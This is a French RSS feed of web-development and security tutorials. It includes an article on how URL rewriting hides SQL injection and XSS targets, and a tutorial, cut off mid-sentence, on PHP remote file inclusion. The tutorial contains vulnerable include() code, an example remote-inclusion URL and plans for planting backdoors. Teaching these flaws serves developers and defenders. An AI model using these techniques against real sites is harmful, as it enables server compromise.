<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0"
 xmlns:dc="http://purl.org/dc/elements/1.1/"
 xmlns:content="http://purl.org/rss/1.0/modules/content/">
<channel>
	<title><![CDATA[Loadation]]></title>
	<description><![CDATA[Flux RSS des articles]]></description>
	<pubDate>Wed, 20 Aug 2008 22:59:30 +0200</pubDate>
	<link>http://www.loadation.net</link>
	<language>fr</language>
	<generator>http://www.eklablog.com</generator>
	
	<item>
		<title><![CDATA[02 - Comment utiliser PHP ?]]></title>
		<link>http://www.loadation.net/article-783-4285--02-comment-utiliser-php.html</link>
		<dc:creator>Skreo</dc:creator>
		<description><![CDATA[Logiciels n&eacute;cessaires L&#39;&eacute;criture d&#39;un script PHP ne n&eacute;cessite pas de logiciel particulier, il est possible d&#39;&eacute;crire un code PHP avec Notepad. Cependant, je recommande le tr&egrave;s bon &eacute;diteur Notepad++ qui effectue une coloration syntaxique du...]]></description>
		<content:encoded><![CDATA[<h3>Logiciels n&eacute;cessaires</h3>  <p>L&#39;&eacute;criture d&#39;un script PHP ne n&eacute;cessite pas de logiciel particulier, il est possible d&#39;&eacute;crire un code PHP avec Notepad. Cependant, je recommande le tr&egrave;s bon &eacute;diteur <a href="http://notepad-plus.sourceforge.net/fr/site.htm">Notepad++</a>  qui effectue une coloration syntaxique du code en temps r&eacute;el.</p><p>Le serveur sur lequel sera h&eacute;berg&eacute; le code doit obligatoirement avoir l&#39;interpr&eacute;teur PHP pour fonctionner. La plupart du temps, PHP est un module de l&#39;application serveur Apache. Vous pouvez tester vos scripts PHP en local sur votre machine en installant Apache et PHP. Si vous &ecirc;tes sous Windows, vous pouvez par exemple installer <a href="http://www.easyphp.org/">EasyPHP</a>  qui est tr&egrave;s simple d&#39;installation et contient Apache, PHP et MySQL. Sous Linux, Apache et PHP sont g&eacute;n&eacute;ralement d&eacute;j&agrave; install&eacute;s.<br /></p>  <h3>Premier exemple</h3>            <p>Comme tout premier exemple qui se respecte, nous allons programmer un Hello World.<br />      Pour cela, ouvrez Notepad++, puis cliquez sur <em>Fichier &gt;&gt; Nouveau</em>. Enregistrez le fichier vide dans le dossier de votre choix sous le nom &quot;hello_world.php&quot;. Un fichier PHP doit forc&eacute;ment avoir l&#39;extension &quot;.php&quot; pour pouvoir &ecirc;tre interpr&eacute;t&eacute; par le serveur.<br /></p>           <p>Tout code PHP doit &ecirc;tre d&eacute;limit&eacute; par des balises <strong>&lt;?php</strong> et <strong>?&gt;</strong>. Elles indiquent le d&eacute;but et la fin du code &agrave; ex&eacute;cuter. Vous pourrez parfois voir la balise ouvrante &lt;? au lieu de &lt;?php, mais il est toutefois recommander de n&#39;utiliser que &lt;?php</p>           <p>Pour afficher le texte brut &quot;Hello World&quot;, nous allons utiliser la commande <em>echo</em> qui sert &agrave; envoyer du texte ou code HTML dans la page. Comme dans presque tous les langages, chaque ligne de code doit <u>obligatoirement</u> de terminer par un point virgule.</p>           <p>Voici donc le contenu de notre fichier : </p>         <div class="code"> &lt;?php<br />      echo &#39;Hello World&#39;;<br />      ?&gt;</div>       <p><a href="http://data0.loadation.net/www/perso/tutos_php/img02_1.jpg"><img alt=" " height="135" src="http://data0.loadation.net/www/perso/tutos_php/img02_1_thumb.gif" width="200" /></a>  <br />   <br />    On va maintenant &eacute;crire notre Hello World dans du code HTML, en respectant les standards :</p>       <div class="code"> &lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Strict//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&quot;&gt;<br />     &lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot; xml:lang=&quot;fr&quot; lang=&quot;fr&quot;&gt;<br />     &lt;head&gt;<br />     &nbsp;&nbsp;&nbsp; &lt;title&gt;Hello World&lt;/title&gt;<br />     &nbsp;&nbsp;&nbsp; &lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=iso-8859-1&quot; /&gt;<br />     &nbsp;&nbsp;&nbsp; &lt;meta http-equiv=&quot;Content-Language&quot; content=&quot;fr&quot; /&gt;<br />     &lt;/head&gt;<br />     &lt;body&gt;<br />     &lt;p&gt;<br />     &lt;?php<br />     echo &#39;Hello World&#39;;<br />     ?&gt;<br />     &lt;/p&gt;<br />     &lt;/body&gt;<br />     &lt;/html&gt;</div>     <p>  <a href="http://data0.loadation.net/www/perso/tutos_php/img02_2.jpg"><img alt=" " src="http://data0.loadation.net/www/perso/tutos_php/img02_2_thumb.gif" /></a></p>]]></content:encoded>
		<pubDate>Mon, 09 Apr 2007 02:25:26 +0200</pubDate>
		<guid isPermaLink="true">http://www.loadation.net/article-783-4285--02-comment-utiliser-php.html</guid>
	</item>
	<item>
		<title><![CDATA[01 - Qu'est ce que php ?]]></title>
		<link>http://www.loadation.net/article-783-4284--01-qu-est-ce-que-php.html</link>
		<dc:creator>Skreo</dc:creator>
		<description><![CDATA[PHP est l&#39;acronyme r&eacute;cursif de PHP Hypertext Preprocessor (o&ugrave; PHP signifie Personnal Home Page). C&#39;est le langage de programmation le plus r&eacute;pandu pour la conception de sites web dynamique. Il permet de cr&eacute;er des forums, chats, statistiques et autres...]]></description>
		<content:encoded><![CDATA[<p>PHP est l&#39;acronyme r&eacute;cursif de PHP Hypertext Preprocessor (o&ugrave; PHP signifie Personnal Home Page). C&#39;est le langage de programmation le plus r&eacute;pandu pour la conception de sites web dynamique. Il permet de cr&eacute;er des forums, chats, statistiques et autres interfaces dynamiques.</p> <p>C&#39;est un langage serveur, qui s&#39;ex&eacute;cute donc sur le serveur du site. Un script PHP n&#39;est pas compil&eacute;, il est interpr&eacute;t&eacute; &agrave; chaque chargement de la page. Il sert g&eacute;n&eacute;ralement &agrave; afficher du code (X)HTML qui sera trait&eacute; par le navigateur du client, mais peut aussi cr&eacute;er et afficher des images (png, jpg, gif...), pdf, ...etc.</p><p><img alt=" " height="101" src="http://data0.loadation.net/www/perso/tutos_php/img01.gif" width="501" /></p> ]]></content:encoded>
		<pubDate>Mon, 09 Apr 2007 01:48:34 +0200</pubDate>
		<guid isPermaLink="true">http://www.loadation.net/article-783-4284--01-qu-est-ce-que-php.html</guid>
	</item>
	<item>
		<title><![CDATA[Nouveaux articles : Failles Web]]></title>
		<link>http://www.loadation.net/article-1101-3759-nouveaux-articles-failles-web.html</link>
		<dc:creator>Skreo</dc:creator>
		<description><![CDATA[J&#39;ai ajout&eacute; les tr&egrave;s bons articles sur les Failles Web &eacute;crits par Trancefusion dans la cat&eacute;gorie S&eacute;curit&eacute;. Je vous conseille d&#39;ailleurs d&#39;aller jeter un coup d&#39;oeil &agrave; son site Ghosts In The Stack . J&#39;&eacute;crirai...]]></description>
		<content:encoded><![CDATA[<p>J&#39;ai ajout&eacute; les tr&egrave;s bons articles sur les <a href="http://www.loadation.net//?cat=articles&amp;id=1511">Failles Web</a>  &eacute;crits par Trancefusion dans la cat&eacute;gorie S&eacute;curit&eacute;. Je vous conseille d&#39;ailleurs d&#39;aller jeter un coup d&#39;oeil &agrave; son site <a href="http://www.ghostsinthestack.org">Ghosts In The Stack</a>.</p> <p> J&#39;&eacute;crirai bient&ocirc;t des tutoriels pour apprendre le PHP et le Javascript, ainsi que des articles plus pouss&eacute;s sur certaines astuces et techniques en programmation.</p> ]]></content:encoded>
		<pubDate>Sat, 31 Mar 2007 01:19:45 +0200</pubDate>
		<guid isPermaLink="true">http://www.loadation.net/article-1101-3759-nouveaux-articles-failles-web.html</guid>
	</item>
	<item>
		<title><![CDATA[URL Rewriting]]></title>
		<link>http://www.loadation.net/article-1511-3757-url-rewriting.html</link>
		<dc:creator>Skreo</dc:creator>
		<description><![CDATA[L&#39;URL Rewriting est une fonctionnalit&eacute; d&#39;Apache permettant comme son nom l&#39;indique la r&eacute;&eacute;criture d&#39;URL &agrave; la vol&eacute;e. Cela permet ainsi de changer l&#39;URL de ses pages, et entre autres de faire croire au visiteur (et aux moteurs de recherche) que...]]></description>
		<content:encoded><![CDATA[<div id="sommaire">               <h2>Sommaire</h2>    <ol> <li><a href="http://www.loadation.net//?cat=articles&amp;id=1511&amp;art=3757#p1">Notions sur les expressions r&eacute;guli&egrave;res</a></li> <li><a href="http://www.loadation.net//?cat=articles&amp;id=1511&amp;art=3757#p2">Principe de base de l&#39;URL Rewriting et int&eacute;r&ecirc;ts</a></li> <li><a href="http://www.loadation.net//?cat=articles&amp;id=1511&amp;art=3757#p3">Risques et exploitation</a></li> </ol>               </div>               <h2>Introduction</h2>    <p>Imaginez que vous &ecirc;tes un script-kiddie &agrave; la recherche de failles &agrave; exploiter sur un site Web. Vous visitez quelques pages, et l&agrave;, malheur, vous ne tombez que sur des pages ayant l&#39;extension HTML... Le HTML est r&eacute;put&eacute; comme &quot;infaillible&quot; puisqu&#39;en effet, n&#39;&eacute;tant pas un langage de g&eacute;n&eacute;ration dynamique de pages, il ne permet aucun traitement de donn&eacute;es. Pour autant, peut-on conclure de mani&egrave;re g&eacute;n&eacute;rale qu&#39;un site comportant des pages poss&eacute;dant l&#39;extension .html n&#39;est pas vuln&eacute;rable ?</p>    <p>La r&eacute;ponse est non. En effet, les serveurs HTTP comme Apache permettent ais&eacute;ment au webmaster de manipuler d&#39;URL de leurs pages, et de les transformer. On peut ainsi demander &agrave; Apache de transformer les URL tap&eacute;es par le visiteur afin d&#39;ex&eacute;cuter une page dynamique de mani&egrave;re cach&eacute;e. Cela s&#39;appelle l&#39;<strong>URL Rewriting</strong>.</p>    <h2 id="p1">1. Notions sur les expressions r&eacute;guli&egrave;res</h2>    <p>Pour bien comprendre le m&eacute;canisme d&#39;URL Rewriting il est n&eacute;cessaire de conna&icirc;tre les <strong>expresisons r&eacute;guli&egrave;res</strong>. Si vous connaissez d&eacute;ja le domaine en les ayant manipul&eacute;es en PHP ou en Perl, vous pouvez sauter cette partie.</p>    <p>Tout d&#39;abord, qu&#39;est-ce qu&#39;une expresison r&eacute;guli&egrave;re ? Il faut voir une expression r&eacute;guli&egrave;re (en abr&eacute;g&eacute; &quot;regex&quot;) comme un <em>mod&egrave;le</em> (&quot;pattern&quot; en anglais) permettant de d&eacute;crire un ensemble de cha&icirc;nes de caract&egrave;res.</p>    <p>Voyons tout de suite un exemple. Imaginons que vous souhaitez rechercher dans votre disque dur les fichiers dont le nom comporte un &quot;e&quot; et finit par &quot;.txt&quot;. Que taper dans la bo&icirc;te de recherche ? Vous aimeriez bien qu&#39;un caract&egrave;re &quot;joker&quot; existe, qui permettrait de d&eacute;crire &#39;nimporte quoi&quot;. Par exemple, avoir &agrave; taper &quot;*e*.txt&quot;, en supposant que l&#39;&eacute;toile * soit ce caract&egrave;re joker. En fait, ce que vous venez de taper est une forme d&#39;expression r&eacute;guli&egrave;re ! Pour la suite, vous pouvez oublier cet exemple, car l&#39;&eacute;toile aura une autre signification.</p>    <p>Plus g&eacute;n&eacute;ralement, une expresison r&eacute;guli&egrave;re est une suite de caract&egrave;res, qui peuvent &ecirc;tre <em>normaux</em> ou <em>sp&eacute;ciaux</em>. Les caract&egrave;res normaux ne d&eacute;signent rien de particulier, &agrave; par eux-m&ecirc;mes. C&#39;est le cas des lettres et des chiffres. Viennent ensuite les caract&egrave;res sp&eacute;ciaux, qui comprennent par exmeple des signes de ponctuation. Ces caract&egrave;res ne d&eacute;signent pas eux-m&ecirc;me mais ont un comportement diff&eacute;rent, que nous allons voir.</p>   <ul> <li>Le point . signifie &quot;nimporte quel caract&egrave;re&quot;.</li> <li>L&#39;&eacute;toile signifie &quot;le caract&egrave;re ou la r&eacute;gex pr&eacute;c&eacute;dent(e) r&eacute;p&eacute;t&eacute;(e) de 0 &agrave; plusieurs fois&quot;. Par exmeple la regex &quot;a*&quot; signifie &quot;une suite de 0 ou plusieurs a&quot;, et la regex &quot;.*&quot; signifie &quot;une suite de 0 ou plusieurs caract&egrave;res&quot;. </li> <li>Le plus + est presque comme l&#39;&eacute;toile, au d&eacute;tail pr&egrave;s que la suite doit commporter au moins <strong>une</strong> occurence. C&#39;est &agrave; dire que &quot;a+&quot; correspond en fait &agrave; une suite de 1 ou plusieurs a, et donc est &eacute;quivalent &agrave; &quot;aa*&quot;.</li> <li>Les crochets [ et ] d&eacute;finissent ce que l&#39;on appelle une classe. Prenons une exemple : la regex &quot;[a-z]&quot; d&eacute;signe un caract&egrave;re entre a et z (une lettre minuscule, donc). L&#39;utilisation du tiret n&#39;est pas obligatoire, on peut par exemple construire la regex &quot;[adj]&quot; qui correpondra &agrave; un caract&egrave;re : soit a, soit d, soit j. Et on peut combiner : &quot;[a-z0-9]&quot; d&eacute;signera une lettre minuscule ou un chiffre.</li> <li>le chapeau ^ correspond au d&eacute;but de ligne, et le dollar $ &agrave; la fin de ligne.</li> <li>Les parenth&egrave;ses ( et ) autour d&#39;une regex permettent de capturer le contenu qui correspond &agrave; cette regex. Le contenu est stock&eacute; dans une variable appel&eacute;e $1. Si il existe plusieurs parenth&egrave;ses dans une m&ecirc;me regex, alors les variables $2, $3, etc. seront utilis&eacute;es.</li> <li>les accolades { et } d&eacute;finissent une r&eacute;p&eacute;tition. On utilise la virgule pour donner les bornes de l&#39;intervalle de r&eacute;p&eacute;tition. Par exemple, la regex &quot;.{2,5}&quot; correspond &agrave; une suite de 2 &agrave; 5 caract&egrave;res quelqconques.</li> <li>L&#39;antislash \ permet de d&eacute;sp&eacute;cialiser un caract&egrave;re sp&eacute;cial. Par exemple, la regex &quot;\.*&quot; correspond &agrave; une suite de 0 ou plusieurs &eacute;toiles.</li> </ul>    <p>Maintenant que vous avez compris les bases des regex, saurez-vous &agrave; qui correspond cette regex : &quot;[a-z0-9]@[a-z0-9]\.[a-z0-9]{1,4}&quot; ?</p>    <p>R&eacute;ponse : c&#39;est une adresse e-mail ! En effet, &quot;[a-z0-9]&quot; correspond &agrave; un caract&egrave;re alphanum&eacute;rique, le @ n&#39;a pas de signification particuli&egrave;re et reste donc un arobase, &quot;\.&quot; correspond &agrave; un point (d&eacute;sp&eacute;cialis&eacute; par le \) et ce qui figure derri&egrave;re est une suite de 1 &agrave; 4 caract&egrave;res alphanum&eacute;riques. C&#39;est bien une adresse e-mail... &agrave; la diff&eacute;rence pr&egrave;s que les majuscules ne seront pas prises en compte ici, je vous l&#39;accorde... Et si vous revenez &agrave; l&#39;exemple du d&eacute;but, &agrave; savoir trouver des noms de fichiers comportant un e et finissant par .txt, la regex correspondante est en fait : &quot;.*e.*\.txt&quot; (on laisse la possibilit&eacute; d&#39;avoir des caract&egrave;res avant et apr&egrave;s le e).</p>     <p>Petite parenth&egrave;se : si vous voulez faire du tra&icirc;tement de cha&icirc;nes de caract&egrave;res (appel&eacute; aussi <em>parsing</em>), les expressions r&eacute;guli&egrave;res sont un excellent moyen de faire ! Elles sont compactes et puissantes, ce qui est tr&egrave;s rentable quand on &eacute;crit du code. D&#39;ailleurs, si vous aimez les expressions r&eacute;guli&egrave;res, vous aimerez le langage Perl, puisqu&#39;il est bas&eacute; dessus !</p>    <h2 id="p2">2. Principe de base de l&#39;URL Rewriting et int&eacute;r&ecirc;ts</h2>     <p>L&#39;URL Rewriting est permise par un module d&#39;Apache (mod_rewrite) qui permet la r&eacute;&eacute;criture d&#39;URL &agrave; la vol&eacute;e. La configuration de l&#39;URL Rewriting se fait dans un fichier .htaccess, plac&eacute; &eacute;n g&eacute;n&eacute;ral &agrave; la racine du site Web concern&eacute;. Voici un exemple de fichier qui d&eacute;finit quelques r&egrave;gles d&#39;URL Rewriting :</p>    <div class="code"> #Activation du module<br />  RewriteEngine on<br />  <br />  #R&egrave;gles<br />  RewriteRule photos-(.+)\.html &nbsp;&nbsp;&nbsp;&nbsp;/index.php?page=photos&amp;p=$1 &nbsp;&nbsp;&nbsp;[L]<br />  RewriteRule index\.html &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/index.php &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[L]<br />  RewriteRule ([a-z]+)\.html &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/index.php?page=$1 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[L] </div>    <p>La premi&egrave;re option active le module et est donc absolument n&eacute;cessaire. Les lignes d&#39;en dessous d&eacute;finsisent les r&egrave;gles, c&#39;est &agrave; dire les conditions sous lesquelles l&#39;URL sera r&eacute;&eacute;crite ou pas. Une r&egrave;gle commence par la directive &quot;RewriteRule&quot;, suivie d&#39;une regex (d&#39;o&ugrave; l&#39;utilit&eacute; du 1er chapitre) qui d&eacute;crit le mod&egrave;le d&#39;URL &agrave; r&eacute;&eacute;crire, suivie de l&#39;URL r&eacute;&eacute;crite, et termin&eacute;e par une option. Prenons l&#39;exemple de la 2&egrave;me r&egrave;gle, la plus simple. Elle dit simplement que si le visiteur tente d&#39;acc&eacute;der &agrave; la page &quot;index.html&quot;, alors le serveur lui renverra la page index.php. La derni&egrave;re ligne dit que si le visiteur tente d&#39;ouvrir une URL compos&eacute;e d&#39;une suite de lettres termin&eacute;es par &quot;.html&quot;, le serveur affichera la page &quot;index.php?page=$1&quot; en remlpla&ccedil;ant $1 par la suite que l&#39;utilisateur aura tap&eacute;e.</p>    <p>Il faut bien comprendre que ce m&eacute;canisme est totalement invisible pour le visiteur, qui croit surfer sur un site en HTML alors qu&#39;en fait la g&eacute;n&eacute;ration des pages est dynamique (ici en PHP). Enorm&eacute;ment de sites utilisent (ou semblent utiliser) ce m&eacute;canisme, comme par exemple le site du Monde, le Site du Zero, beaucoup de blogues, et... GITS (pour la version 2 :p).</p>    <p>Quel est l&#39;avantage d&#39;utiliser un tel syst&egrave;me ? En fait, il y en a plusieurs. Premi&egrave;rement, cela permet de masquer &agrave; l&#39;utilisateur le fait que le site soit en PHP, il sera donc moins tent&eacute; de tester les failles dessus. De plus, les URL sont plus &quot;jolies&quot;, plus parlantes, plus facilement m&eacute;morisables. Cela permet aussi de booster son r&eacute;f&eacute;rencement dans les moteurs de recherche, car les moteurs ont beaucoup de mal &agrave; ind&eacute;xer des pages dynamiques avec des URL comportant beaucoup de param&egrave;tres &agrave; rallonge. Cela permet aussi de d&eacute;finir plusieurs URL pointant vers une seule, vu qu&#39;il y a des regex. Ainsi, on peut d&eacute;finir dans une URL des parties &quot;flexibles&quot;, c&#39;est &agrave; dire que le visiteur peut modifier sans perdre l&#39;acc&egrave;s &agrave; la page. On peut donc y glisser des mots-cl&eacute;s, ce qui booste encore plus le r&eacute;f&eacute;rencement...</p>    <h2 id="p3">3. Risques et exploitation</h2>     <p>Mais certains webmasters sans beaucoup de connaissances dans le domaine de la s&eacute;curit&eacute; laissent des failles sur leur site et s&#39;en remettent &agrave; l&#39;URL Rewriting pour les masquer, esp&eacute;rant que cela sera suffisant. Malheureusement, cela ne l&#39;est pas toujours... Imaginez que vous tombez sur l&#39;URL &quot;http://site.com/article2.html&quot; puis sur une autre &quot;http://site.com/article8.html&quot;, et ainsi de suite. On peut soup&ccedil;onner l&#39;utilisation de l&#39;URL Rewriting... Si l&#39;on fait varier le nombre situ&eacute; derri&egrave;re &quot;article&quot;, on peut voir ce que cela donne. La page r&eacute;&eacute;crite (cach&eacute;e) pourrait ressembler &agrave; http://site.com/article.php?id=$1 avec $1 le nombre en question. A partir de l&agrave;, il faut utiliser les techniques habituelles de recherche de failles : faire varier le param&egrave;tre, tenter d&#39;ins&eacute;rer des lettres, des caract&egrave;es sp&eacute;ciaux, pourquoi pas des balises (qui a dit XSS ? :p), etc. Il n&#39;est m&ecirc;me pas n&eacute;cessaire de conna&icirc;tre le nom du param&egrave;tre, puisque si la regex est assez permissive, elle r&eacute;&eacute;crira la cha&icirc;ne tap&eacute;e en param&egrave;tre de la page. Ainsi, si l&#39;on teste une injection SQL : http://site.com/article1%20and1=2.html deviendra quelque chose du style http://site.com/article.php?id=1%20and1=2 et le r&eacute;sultat de la page nous informera du succ&egrave;s ou non de l&#39;injection.</p>    <p>Ceci &eacute;tait dans le cas o&ugrave; l&#39;expression r&eacute;guli&egrave;re d&eacute;finie dans la r&egrave;gle &eacute;tait assez permissive, c&#39;est &agrave; dire qu&#39;elle n&#39;imposait pas au visiteur de taper un nombre. Elle aurait pu &ecirc;tre du type &quot;(.+)\.html&quot;. Maintenant, imaginons que le webmaster a voulu restreindre la r&eacute;&eacute;criture en mettant une regex plus restrictive comme &quot;([0-9]+)\.html&quot; qui n&#39;accepte que les nombres. L&agrave;, il n&#39;y a pas de technique pour bypasser cette protection (vu que filtrer est bien le but d&#39;un filtre...) ! Mais il ne faut pas perdre de vue le fait que si on conna&icirc;t le nom de la page PHP qui contient le script (ici article.php), et qu&#39;elle comporte une faille, alors rien ne nous emp&ecirc;che de l&#39;exploiter. L&#39;URL Rewriting n&#39;est en faite g&eacute;nante dans ce cas que si l&#39;URL de cette page est inconnue...</p>    <h2>Conclusion</h2>    <p>Nous sommes d&eacute;j&agrave; &agrave; la fin de cet article... J&#39;esp&egrave;re que vous n&#39;&ecirc;es pas trop d&eacute;cus ! En fait, ce qu&#39;il faut retenir est que le m&eacute;canisme d&#39;URL Rewriting ne comporte pas en lui-m&ecirc;me de failles, mais il masque juste des &eacute;ventuelles failles d&eacute;ja existantes dans le script de la page. Il faur savoir que cela existe, car ce m&eacute;canisme est de plus en plus utilis&eacute;, vu les avantages qu&#39;il offre.</p>   <p>Concernant l&#39;exploitation de failles, si les r&egrave;gles de r&eacute;&eacute;criture sont permissives, l&#39;exploitation de ces failles se fait sans probl&egrave;mes, mais si elles ne le sont pas, et que l&#39;on ne conna&icirc;t pas le nom de la page originale, l&#39;exploitation est d&eacute;j&agrave; plus dure (il faut y aller en testant...).</p><p><br /><em>Cet article a &eacute;t&eacute; r&eacute;dig&eacute; par Trancefusion et provient de <a href="http://www.ghostsinthestack.org/article-18-url-rewriting.html">http://www.ghostsinthestack.org/article-18-url-rewriting.html</a> . Il est diffus&eacute; sous licence <a href="http://creativecommons.org/licenses/by-nc-sa/2.0/fr/">Creative Commons By-Nc-Sa 2.0</a> .</em><br /></p>]]></content:encoded>
		<pubDate>Sat, 31 Mar 2007 01:00:44 +0200</pubDate>
		<guid isPermaLink="true">http://www.loadation.net/article-1511-3757-url-rewriting.html</guid>
	</item>
	<item>
		<title><![CDATA[La faille Include]]></title>
		<link>http://www.loadation.net/article-1511-3754-la-faille-include.html</link>
		<dc:creator>Skreo</dc:creator>
		<description><![CDATA[La faille Include est certainement la faille PHP la plus connue. Elle n&#39;est pas li&eacute;e &agrave; une vuln&eacute;rabilit&eacute; dans une fonction sp&eacute;ciale, mais est due (comme beaucoup de failles en PHP) &agrave; une erreur de programmation commise par un d&eacute;veloppeur peu...]]></description>
		<content:encoded><![CDATA[    <div id="sommaire">  <h2>Sommaire</h2>          <ol>    <li><a href="http://www.loadation.net//?cat=articles&amp;id=1511&amp;art=3754#p1">Exemples - Principe de base</a>           <ol>    <li><a href="http://www.loadation.net//?cat=articles&amp;id=1511&amp;art=3754#p1i">Include()</a></li>       <li><a href="http://www.loadation.net//?cat=articles&amp;id=1511&amp;art=3754#p1ii">La faille</a></li>    </ol>         </li>       <li><a href="http://www.loadation.net//?cat=articles&amp;id=1511&amp;art=3754#p2">Techniques d&#39;exploitation</a>           <ol>    <li><a href="http://www.loadation.net//?cat=articles&amp;id=1511&amp;art=3754#p2i">M&eacute;thode classique : Inclusion d&#39;une backdoor</a></li>       <li><a href="http://www.loadation.net//?cat=articles&amp;id=1511&amp;art=3754#p2ii">Variante : Technique du null byte</a></li>       <li><a href="http://www.loadation.net//?cat=articles&amp;id=1511&amp;art=3754#p2iii">Inclusion d&#39;un fichier sensible</a></li>    </ol>         </li>       <li><a href="http://www.loadation.net//?cat=articles&amp;id=1511&amp;art=3754#p3">Des id&eacute;es de backdoors</a>              <ol>    <li><a href="http://www.loadation.net//?cat=articles&amp;id=1511&amp;art=3754#p3i">Afficher la source</a></li>       <li><a href="http://www.loadation.net//?cat=articles&amp;id=1511&amp;art=3754#p3ii">Lister les dossiers</a></li>       <li><a href="http://www.loadation.net//?cat=articles&amp;id=1511&amp;art=3754#p3iii">Modifier un fichier pour implanter uen bakcdoor permanente</a></li>       <li><a href="http://www.loadation.net//?cat=articles&amp;id=1511&amp;art=3754#p3iv">Ajouter un acc&egrave;s</a></li>    </ol>        </li>       <li><a href="http://www.loadation.net//?cat=articles&amp;id=1511&amp;art=3754#p4">D&eacute;tecter une faille include</a></li>       <li><a href="http://www.loadation.net//?cat=articles&amp;id=1511&amp;art=3754#p5">Corriger une faille include</a></li>    </ol>                  </div>                      <h2 id="p1">1. Exemples - Principe de base</h2>      <h3 id="p1i">1.i. Include()</h3>         <p>La faille Include touche comme son nom l&#39;indique les fonctions du type <strong>include()</strong>. Ce type de fonction (comme require(), include(), include_once()) a pour objectif d&#39;<em>inclure</em> un fichier et d&#39;<em>ex&eacute;cuter</em> son contenu sur le serveur.</p>          <p>Imaginez par exemple que vous disposez d&#39;un site avec une centaine de pages. Sur ce site, un certain nombre d&#39;&eacute;l&eacute;ments sont fixes, dans le sens o&ugrave; ils ne changent pas quelque soient les pages ; par exemple le menu, le haut et le bas de page, etc. Si jamais vous voulez modifier ne serait-ce qu&#39;une entr&eacute;e dans le menu, vous allez devoir modifier le menu de chaque page afin que tous les menus de toutes les pages correspondent. Soit une centaine de pages &agrave; &eacute;diter &agrave; chaque mise &agrave; jour, aussi petite soit-elle...<br />     Ne vous suicidez pas tout de suite ! Car justement, la fonction include() est l&agrave; pour &ccedil;a. Elle va vous permettre de n&#39;avoir qu&#39;une seule page &agrave; modifier, et toutes les pages de votre site l&#39;inclueront. Comment faire ? Vous cr&eacute;ez un fichier menu.php dans lequel vous placez votre menu, puis dans chaque page PHP vous placez un appel <code>include(&#39;menu.php&#39;)</code> &agrave; l&#39;endroit o&ugrave; le menu doit appara&icirc;tre. Sympa, non ?</p>      <h3 id="p1ii">1.ii. La faille</h3>          <p>Rappelez-vous bien qu&#39;Include() fait deux choses : tout d&#39;abord elle &quot;rapatrie&quot; le code contenu dans le fichier pass&eacute; en param&egrave;tre, puis elle <strong>l&#39;ex&eacute;cute</strong>. C&#39;est justement l&#39;ex&eacute;cution de ce code, li&eacute;e &agrave; une autre subtilit&eacute;, qui va constituer la faille.</p>         <p>En effet, imaginez l&#39;appel suivant sur une page index.php :</p>          <div class="code"> &lt;?<br />     if(isset($_GET[&#39;page&#39;]))<br />     &nbsp;&nbsp;&nbsp;include($_GET[&#39;page&#39;]);<br />     else<br />     &nbsp;&nbsp;&nbsp;include(&#39;default.php&#39;);<br />     ?&gt; </div>           <p>Ce bout de code regarde si la variable &quot;page&quot; est contenue dans l&#39;URL, et si c&#39;est le cas, elle inclut le fichier de m&ecirc;me nom que le contenu de la variable. Sinon, elle inclut une page par d&eacute;faut. Par exemple, si vous appelez :</p>          <div class="code"> index.php?page=test.php </div>           <p>Le script incluera (et ex&eacute;cutera) la page &quot;test.php&quot;. Jusqu&#39;ici, rien de bien compliqu&eacute;.</p>          <p>Maintenant, pla&ccedil;ons nous dans la peau d&#39;un visiteur malveillant. Imaginons qu&#39;il se soit rendu compte de la pr&eacute;sence d&#39;un appel &agrave;&#39;Include() par un quelconque moyen, et qu&#39;il peut contr&ocirc;ler (comme c&#39;est le cas ici) le param&egrave;tre pass&eacute;. S&#39;il appelle la page :</p>          <div class="code"> index.php?page=http://www.google.fr </div>           <p>Alors Google s&#39;affichera sur le site ! En effet, une subtilit&eacute; d&#39;include() permet d&#39;inclure des pages ne se trouvant pas sur le m&ecirc;me serveur que la page appelante !</p>           <p>A pr&eacute;sent, le visiteur peut inclure n&#39;importe quelle page. Elle sera de toute fa&ccedil;on ex&eacute;cut&eacute;e sur le serveur. Dans ce cas, il peut tr&egrave;s bien placer une page PHP qu&#39;il a fait lui m&ecirc;me sur son serveur personnel, et l&#39;inclure ! Imaginez que cette page en question soit une backdoor... L&#39;inclusion se fera de la m&ecirc;me mani&egrave;re, et il disposera d&#39;une backdoor sur le site vuln&eacute;rable ! Il pourra alors lister tous les fichiers, les &eacute;diter, en cr&eacute;er, acc&eacute;der &agrave; la base de donn&eacute;es, etc... Nous y reviendrons en temps voulu. </p>            <h2 id="p2">2. Techniques d&#39;exploitation</h2>      <h3 id="p2i">2.i. M&eacute;thode classique : Inclusion d&#39;une backdoor</h3>          <p>La technique de base est celle que nous avons abord&eacute;e dans le paragraphe pr&eacute;c&eacute;dent, &agrave; savoir l&#39;inclusion d&#39;une backdoor en PHP. Nous allons maintenant voir quelques d&eacute;tails techniques.</p>          <p>Tout d&#39;abord, nous supposons que la faille a &eacute;t&eacute; d&eacute;tect&eacute;e, et qu&#39;elle permette l&#39;inclusion de n&#39;importe quelle page (avec n&#39;importe quelle extension). Nous supposons &eacute;galement que nous disposons d&#39;une backdoor. Comme n&#39;importe quelle backdoor peut &ecirc;tre utilis&eacute;e, nous pouvons nous contenter juste pour tester d&#39;une simple page contenant <code>&lt;? echo &quot;Hello World&quot;; ?&gt;</code>. La variable vuln&eacute;rable peut avoir n&#39;importe quel nom, aussi nous continuerons de l&#39;appeler &quot;page&quot; afin de simplifier.</p>          <p>Maintenant, il ne nous reste plus qu&#39;&agrave; placer notre backdoor sur  notre serveur pr&eacute;f&eacute;r&eacute;, et &agrave; l&#39;inclure... Mais il ne faut pas oublier un d&eacute;tail crucial ! En effet, si jamais notre backdoor a pour extension .php et si nous la pla&ccedil;ons sur notre serveur qui ex&eacute;cute le PHP, puis que nous tentons de 